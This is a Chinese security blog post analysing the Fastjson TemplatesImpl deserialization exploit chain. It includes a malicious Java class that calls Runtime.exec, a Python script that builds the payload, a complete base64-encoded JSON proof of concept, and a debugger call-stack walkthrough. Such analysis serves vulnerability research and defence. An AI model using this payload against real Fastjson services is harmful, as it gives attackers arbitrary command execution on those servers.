Fork me on GitHub

Fastjson反序列化漏洞分析--TemplatesImpl利用链

Fastjson反序列化漏洞分析--TemplatesImpl利用链

前言

前面对 TemplatesImpl 利用链进行了漏洞分析,这次接着上次的内容,对 TemplatesImpl 利用链进行分析。

TemplatesImpl利用链

漏洞原理:Fastjson 通过 bytecodes 字段传入恶意类,调用 outputProperties 属性的 getter 方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在 parse 反序列化时设置第二个参数 Feature.SupportNonPublicField ,所以利用面很窄,但是这条利用链还是值得去学习
项目地址:https://github.com/alibaba/fastjson

漏洞复现

打开 Fastjson 项目,看到 parse 反序列化时设置第二个参数 Feature.SupportNonPublicField

恶意类TEMPOC.java,调出计算器程序。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

将其编译成.class文件,通过如下方式进行base64加密以及生成payload。

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

执行后,调出计算器:

漏洞分析

据上面的分析,_bytecode为恶意类TEMPOC.java编译成.class文件后,通过 base64 编码得到的值。事先我们知道 TemplatesImpl 类实例化对象是通过调用newTransFormer()方法,所以想要进行实例化,就必须触发newTransFormer()这个方法。

跟进 TemplatesImpl,可以看到在getOutPropereties()中会调用newTransFormer()这个方法

为了更好理解,我们直接来看看下面几个类:
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136

首先是com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80

可以我们看到name=getOutPropereties,正是对应上面的getOutPropereties方法

在 com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126 加断点进行调试

发现field.set(object,value)向 TemplatesImpl 里放入 _bytecode字段,继续调试

第二次放入_name字段,继续

第三次放入_tfactory字段

继续调试,发现最后直接调用了计算器,表明已经成功反序列化,实际上此时放入的是getOutPropereties,成功触发newTransFormer()方法

再来看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761

这里是去除_操作,即可以将_outputPropereties变为outputPropereties,之后变成一个method,被我们 invoke

com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136

加断点进行调试,进入到 com.alibaba.fastjson.parser.deserializer.JSONScanner:111

这里对_bytecode做了 base64 的解码,所以这就是为什么要对恶意类二进制内容进行 base64 编码

最后给出整个调用栈:

<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser
posted @ 2021-08-13 09:55  吟风芥尘  阅读(1218)  评论(0编辑  收藏  举报